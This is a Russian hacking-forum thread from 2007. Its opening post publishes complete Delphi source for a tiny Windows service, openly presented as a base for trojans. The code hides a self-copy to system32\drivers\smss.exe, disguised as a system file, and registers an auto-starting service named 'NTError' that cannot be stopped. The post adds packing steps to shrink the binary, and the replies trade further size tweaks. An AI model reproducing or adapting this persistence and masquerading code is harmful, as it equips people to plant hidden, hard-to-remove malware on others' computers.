ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Сервис на Delphi Api весом 1849 байт
  #1  
Старый 12.12.2007, 11:47
Аватар для execom
execom
Познающий
Регистрация: 05.06.2007
Сообщений: 50
Провел на форуме:
151281

Репутация: 259
Отправить сообщение для execom с помощью ICQ
Lightbulb Сервис на Delphi Api весом 1849 байт

Не редко основой для троянов является сервис.. Создание сервиса на Delphi стандартными методами позволяет это сделать всего за несколько секунд, но у этого сервиса имеется один явный недостаток - неупакованный размер около 400 кб (нехилый трой получается)... Решить проблему минимизации позволяет:
1)Переписание на WinApi
2)Избавление от RTL
3)Упаковка программы (в моём примере с помощью FSG 2,0)

Мне удалось таким образом уменьшить размер сервиса более чем в 250 раз от стандартного, в данном примере 1849 байт...

1)Переписание на Api даёт значительное сокращение размера, но не стоит забывать и о необходимости избавления от всех модулей, а так же для того что бы мы могли в последствии отключить RTL необходимо избавиться от любого примениния типа string и динамических массивов... Соответственно нам придется все используемые Api функции импортировать из винды, так же нам придётся перетянуть весь набор типов и констант которые используются из модулей....
Полный код сервиса представлен ниже и его только необходимо сохранить в файл с расширением .dpr и запустить в делфи...

Код:
//Исходник сервиса
const
  ServiceName = 'NTError';  ServiceDisp = 'Служба регистрации ошибочных операций';
  Path = '\system32\drivers\smss.exe';
  kernel32                       = 'kernel32.dll';
  advapi32                       = 'advapi32.dll';
  SERVICE_RUNNING                = $00000004;
  SERVICE_WIN32_OWN_PROCESS      = $00000010;
  SERVICE_WIN32_SHARE_PROCESS    = $00000020;
  SERVICE_WIN32                  = (SERVICE_WIN32_OWN_PROCESS or
                                   SERVICE_WIN32_SHARE_PROCESS);
  SERVICE_START_PENDING          = $00000002;
  SC_MANAGER_CREATE_SERVICE      = $0002;
  STANDARD_RIGHTS_REQUIRED       = $000F0000;
  SERVICE_AUTO_START             = $00000002;
  SERVICE_ERROR_NORMAL           = $00000001;
  SC_MANAGER_CONNECT             = $0001;
  SERVICE_START                  = $0010;
  SERVICE_QUERY_STATUS           = $0004;
  SERVICE_INTERACTIVE_PROCESS    = $00000100;
  MAX_PATH                       = 260;
  INFINITE                       = INTEGER($FFFFFFFF);
  GENERIC_READ                   = INTEGER($80000000);
  FILE_SHARE_READ                = $00000001;
  FILE_ATTRIBUTE_NORMAL          = $00000080;
  OPEN_EXISTING                  = 3;
  SW_HIDE                        = 0;

type
  HINST   = INTEGER;
  THandle = INTEGER;
  UINT    = INTEGER;
  DWORD   = INTEGER;
  LPDWORD = ^INTEGER;
  BOOL    = BOOLEAN;
  pathbuf = array [0..MAX_PATH] of char;
  SERVICE_TABLE_ENTRYA = record
    lpServiceName: PChar;
    lpServiceProc: Pointer;
  end;
  SERVICE_STATUS = record
    dwServiceType: DWORD;
    dwCurrentState: DWORD;
    dwControlsAccepted: DWORD;
    dwWin32ExitCode: DWORD;
    dwServiceSpecificExitCode: DWORD;
    dwCheckPoint: DWORD;
    dwWaitHint: DWORD;
  end;
  PSecurityAttributes = ^TSecurityAttributes;
  TSecurityAttributes = record
    nLength: Cardinal;
    lpSecurityDescriptor: Pointer;
    bInheritHandle: Boolean;
  end;

var
  DispatchTable : SERVICE_TABLE_ENTRYA;
  hThread             : THandle;
  ServiceStatus       : SERVICE_STATUS;
  ServiceStatusHandle : integer;

function SetServiceStatus(hServiceStatus: integer; var lpServiceStatus: SERVICE_STATUS): BOOL; stdcall; external advapi32 name 'SetServiceStatus';
function RegisterServiceCtrlHandler(lpServiceName: PChar; lpHandlerProc: pointer): integer; stdcall;external advapi32 name 'RegisterServiceCtrlHandlerA';
function OpenSCManager(lpMachineName, lpDatabaseName: PChar; dwDesiredAccess: DWORD): INTEGER; stdcall; external advapi32 name 'OpenSCManagerA';
function CreateService(hSCManager: INTEGER; lpServiceName, lpDisplayName : PChar;  dwDesiredAccess, dwServiceType, dwStartType, dwErrorControl: DWORD;  lpBinaryPathName, lpLoadOrderGroup: PChar; lpdwTagId: LPDWORD; lpDependencies,  lpServiceStartName, lpPassword: PChar): INTEGER; stdcall; external advapi32 name 'CreateServiceA';
function CloseServiceHandle(hSCObject: INTEGER): BOOL; stdcall; external advapi32 name 'CloseServiceHandle';
function OpenService(hSCManager: INTEGER; lpServiceName: PChar; dwDesiredAccess: DWORD): INTEGER; stdcall; external advapi32 name 'OpenServiceA';
function StartService(hService: INTEGER; dwNumServiceArgs: INTEGER; var lpServiceArgVectors: PChar): BOOL; stdcall; external advapi32 name 'StartServiceA';
function QueryServiceStatus(hService: INTEGER; var lpServiceStatus: SERVICE_STATUS): BOOL; stdcall; external advapi32 name 'QueryServiceStatus';
function StartServiceCtrlDispatcher(var lpServiceStartTable: SERVICE_TABLE_ENTRYA): BOOL; stdcall; external advapi32 name 'StartServiceCtrlDispatcherA';
procedure Sleep(dwMilliseconds: DWORD); stdcall; external kernel32 name 'Sleep';
function CreateThread(lpThreadAttributes: Pointer; dwStackSize: DWORD; lpStartAddress: Pointer; lpParameter: Pointer; dwCreationFlags: DWORD; var lpThreadId: DWORD): THandle; stdcall; external kernel32 name 'CreateThread';
function WaitForSingleObject(hHandle: THandle; dwMilliseconds: DWORD): DWORD; stdcall; external kernel32 name 'WaitForSingleObject';
function CloseHandle(hObject: THandle): BOOL; stdcall; external kernel32 name 'CloseHandle';
function CreateFile(lpFileName: PChar; dwDesiredAccess, dwShareMode: DWORD; lpSecurityAttributes: PSecurityAttributes; dwCreationDisposition, dwFlagsAndAttributes: DWORD; hTemplateFile: THandle): THandle; stdcall; external kernel32 name 'CreateFileA';
function GetModuleFileName(hModule: HINST; lpFilename: PChar; nSize: DWORD): DWORD; stdcall; external kernel32 name 'GetModuleFileNameA';
function GetWindowsDirectory(lpBuffer: PChar; uSize: UINT): UINT; stdcall; external kernel32 name 'GetWindowsDirectoryA';
function lstrcpy(lpString1, lpString2: PChar): PChar; stdcall; external kernel32 name 'lstrcpyA';
function lstrcat(lpString1, lpString2: PChar): PChar; stdcall; external kernel32 name 'lstrcatA';
function WinExec(lpCmdLine: PChar; uCmdShow: INTEGER): INTEGER; stdcall;  external kernel32 name 'WinExec';

Procedure PayLoad;
begin
while true do
  begin
  //Циклическая операция выполняемая в сервисе
  end;
end;

procedure ServiceCtrlHandler; stdcall;
begin
  SetServiceStatus(ServiceStatusHandle, ServiceStatus);
end;

procedure MainServiceThread; stdcall;
begin
  sleep(INFINITE);
end;

procedure ServiceProc(argc: DWORD; var argv: array of PChar); stdcall;
var
  thID: integer;
begin
  ServiceStatus.dwServiceType := SERVICE_WIN32;
  ServiceStatus.dwCurrentState := SERVICE_START_PENDING;
  ServiceStatus.dwControlsAccepted := 0;
  ServiceStatus.dwWin32ExitCode := 0;
  ServiceStatus.dwServiceSpecificExitCode := 0;
  ServiceStatus.dwCheckPoint := 0;
  ServiceStatus.dwWaitHint := 0;
  ServiceStatusHandle := RegisterServiceCtrlHandler(ServiceName, @ServiceCtrlHandler);
  ServiceStatus.dwCurrentState := SERVICE_RUNNING;
  ServiceStatus.dwCheckPoint := 0;
  ServiceStatus.dwWaitHint := 0;
  SetServiceStatus(ServiceStatusHandle, ServiceStatus);
  Payload;
  hThread := CreateThread(nil, 0, @MainServiceThread, nil, 0, ThID);
  WaitForSingleObject(hThread, INFINITE);
  CloseHandle(hThread);
end;

function CreateNTService(ExecutablePath, ServiceName: PChar): boolean;
var
  hNewService, hSCMgr: INTEGER;
  FuncRetVal: Boolean;
begin
  FuncRetVal := False;
  hSCMgr := OpenSCManager(nil, nil, SC_MANAGER_CREATE_SERVICE);
  if (hSCMgr <> 0) then
  begin
    hNewService := CreateService(hSCMgr, ServiceName, ServiceDisp,
      STANDARD_RIGHTS_REQUIRED, SERVICE_WIN32_OWN_PROCESS or SERVICE_INTERACTIVE_PROCESS,
      SERVICE_AUTO_START, SERVICE_ERROR_NORMAL,
      ExecutablePath, nil, nil, nil, nil, nil);
    CloseServiceHandle(hSCMgr);
    if (hNewService <> 0) then
      FuncRetVal := true
    else
      FuncRetVal := false;
  end;
  CreateNTService := FuncRetVal;
end;

function ServiceStart(aServiceName: PChar ): boolean;
var
  h_manager,h_svc: INTEGER;
  svc_status: SERVICE_STATUS;
  Temp: PChar;
  dwCheckPoint: DWord;
begin
  svc_status.dwCurrentState := 1;
  h_manager := OpenSCManager(nil, nil, SC_MANAGER_CONNECT);
  if h_manager > 0 then
  begin
    h_svc := OpenService(h_manager, aServiceName,
    SERVICE_START or SERVICE_QUERY_STATUS);
    if h_svc > 0 then
    begin
      temp := nil;
      if (StartService(h_svc,0,temp)) then
        if (QueryServiceStatus(h_svc,svc_status)) then
        begin
          while (SERVICE_RUNNING <> svc_status.dwCurrentState) do
          begin
            dwCheckPoint := svc_status.dwCheckPoint;
            Sleep(svc_status.dwWaitHint);
            if (not QueryServiceStatus(h_svc,svc_status)) then  break;
            if (svc_status.dwCheckPoint < dwCheckPoint) then  break;
          end;
        end;
      CloseServiceHandle(h_svc);
    end;
    CloseServiceHandle(h_manager);
  end;
  Result := SERVICE_RUNNING = svc_status.dwCurrentState;
end;

function FileExists(path:PChar):boolean;
var
  i : integer;
begin
  i:=CreateFile(path, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  if i=-1
  then Result:=false
  else Result:=true;
end;

var
  F1,F2,F3,F4 : pathbuf;
begin
  GetModuleFileName(0,F1,MAX_PATH);
  GetWindowsDirectory(F3, MAX_PATH);
  LStrCpy(F2,#0);
  LStrCat(F2,F3);
  LStrCat(F2,path);
  if not FileExists(F2) then
    begin
      LStrCpy(F4,#0);
      LStrCat(F4,'cmd /c copy /y ');
      LStrCat(F4,F1);
      LStrCat(F4,' ');
      LStrCat(F4,F2);
      winexec(F4,SW_HIDE);
      CreateNTService(F2, ServiceName);
      ServiceStart(ServiceName);
      exit;
    end;
  DispatchTable.lpServiceName := ServiceName;
  DispatchTable.lpServiceProc := @ServiceProc;
  StartServiceCtrlDispatcher(DispatchTable);
end.

2)Избавление от RTL (Run Time Lib) позволяет уменьшить размер минимальной проги на делфи до 3,5кб (неупакованной) и менее 1кб (упакованной FSG 2,0)...
Для того что бы избавиться от RTL нам необходимо запустить проект предварительно разместив в папке с проектом урезаные модули System и SysInit как это сделать.....
1)Созадём в папке программы два текстовых файла: System.pas, SysInit.pas соответственно с содержанием:

Код:
unit System;
interface
procedure _HandleFinally;
type
TGUID = record
D1: LongWord;
D2: Word;
D3: Word;
D4: array [0..7] of Byte;
end;
PInitContext = ^TInitContext;
TInitContext = record
OuterContext: PInitContext; 
ExcFrame: Pointer; 
InitTable: pointer; 
InitCount: Integer; 
Module: pointer; 
DLLSaveEBP: Pointer; 
DLLSaveEBX: Pointer; 
DLLSaveESI: Pointer; 
DLLSaveEDI: Pointer; 
ExitProcessTLS: procedure; 
DLLInitState: Byte; 
end;
implementation
procedure _HandleFinally;
asm
end;
end.



Код:
unit SysInit;
interface
procedure _InitExe;
procedure _halt0;  
var
  ModuleIsLib  : Boolean; 
  TlsIndex     : Integer = -1; 
  TlsLast      : Byte; 
const
  PtrToNil     : Pointer = nil; 
implementation
procedure _InitExe;
asm
end;
procedure ExitProcess(uExitCode: INTEGER); stdcall; external 'kernel32.dll' name 'ExitProcess';
procedure _halt0;
begin
ExitProcess(0);
end;
end.


2)Теперь необходимо выполнить компиляцию этих файлов.. Для этого необходимо выполнить командную строку: DCC32 -Q system.pas sysinit.pas -M -Y -Z -$D- -O в папке с проектом, это легко сделав с помощью ват-ника....
Если всё нормально прошло то в папке появятся ещё два файла: System.dcu, SysInit.dcu

3)Запустив проект и откомпилировав его мы получим сервис на делфи весом 5120 байт.... Теперь осталось упаковать сервис с помощью FSG 2,0......




Эта статья разработана в среде разработке Delphi 7... При запуске проги происходит самокопирование проги в путь system32\drivers\smss.exe, регистрация сервиса и его запуск.... Сервис не может быть остановлен или удалёд до перезагрузки...

Используйте материалы статьи грамотно....
 
Ответить с цитированием

  #2  
Старый 12.12.2007, 12:25
Аватар для LEE_ROY
LEE_ROY
Постоянный
Регистрация: 09.11.2006
Сообщений: 639
Провел на форуме:
1917742

Репутация: 541


По умолчанию

забыл добавить, что в оконцовке нужно зайти в Tools > Environment Options > Library и в LibraryPath добавить путь к папочке с только что созданными юнитами систем и сисинит дцу.
 
Ответить с цитированием

  #3  
Старый 12.12.2007, 16:30
Аватар для W!z@rD
W!z@rD
Reservists Of Antichat - Level 6
Регистрация: 12.02.2006
Сообщений: 891
Провел на форуме:
1892597

Репутация: 836


Отправить сообщение для W!z@rD с помощью ICQ
По умолчанию

фишку с перекомпиляцией system на руснет протрезвонил ms-rem
имхо для маленьких бинарников fsg the best
__________________
*********************************
*Я не волшебник ٩(๏̯͡๏)۶, только учусь...*
*********************************
Программы на заказ
Times to fly...
 
Ответить с цитированием

  #4  
Старый 12.12.2007, 18:54
Аватар для Hellsp@wn
Hellsp@wn
Постоянный
Регистрация: 29.04.2007
Сообщений: 496
Провел на форуме:
2715445

Репутация: 588
По умолчанию

1 вопрос пока не проверял...

Есть pathbuf = array [0..MAX_PATH] of char и у нас 4 таких переменных,
т.е. 4 * 261 = 1044 (в идиале) байт под эти строки. Может лучше бы было использовать
pchar + LocalAlloc or VirtualAlloc? Съэкономили бы ещё несколько сотен байт

Для проверки существования файла лучше юзать
Код:
function FileExits(const exe:pchar):boolean;
begin
  result:=TRUE;
  If (GetFileAttributes(exe) = DWORD(-1)) then result := FALSE;
end;
т.к. ей нужен только 1 параметр на вход

Последний раз редактировалось Hellsp@wn; 12.12.2007 в 19:00..
 
Ответить с цитированием

  #5  
Старый 12.12.2007, 19:23
Аватар для execom
execom
Познающий
Регистрация: 05.06.2007
Сообщений: 50
Провел на форуме:
151281

Репутация: 259
Отправить сообщение для execom с помощью ICQ
По умолчанию

2Hellsp@wn исправлю...
 
Ответить с цитированием

  #6  
Старый 13.12.2007, 22:26
Аватар для begin_end
begin_end
Members of Antichat - Level 5
Регистрация: 04.01.2007
Сообщений: 176
Провел на форуме:
17964969

Репутация: 1362
По умолчанию

Я ранее подобные вопросы изучал, вот, м.б. будет полезно: http://forum.antichat.ru/showthread.php?t=40603
 
Ответить с цитированием

  #7  
Старый 14.12.2007, 12:04
Аватар для KEZ
KEZ
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
Провел на форуме:
1941233

Репутация: 2726


По умолчанию

Ээ, тоесть автор показал как создавать сервис через официальный, документированый способ, который подробнейшим образом описан в MSDN? Причем
перенеся все это с извращением на какой-то очень поковерканый язык? Или тут упор делается на то, что мол можно вируса-убийцу на делфи написать очередного, отключил RTL и т.п.? Поясните...

> Не редко основой для троянов является сервис..

Уже довольно давно не является и являться не может
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ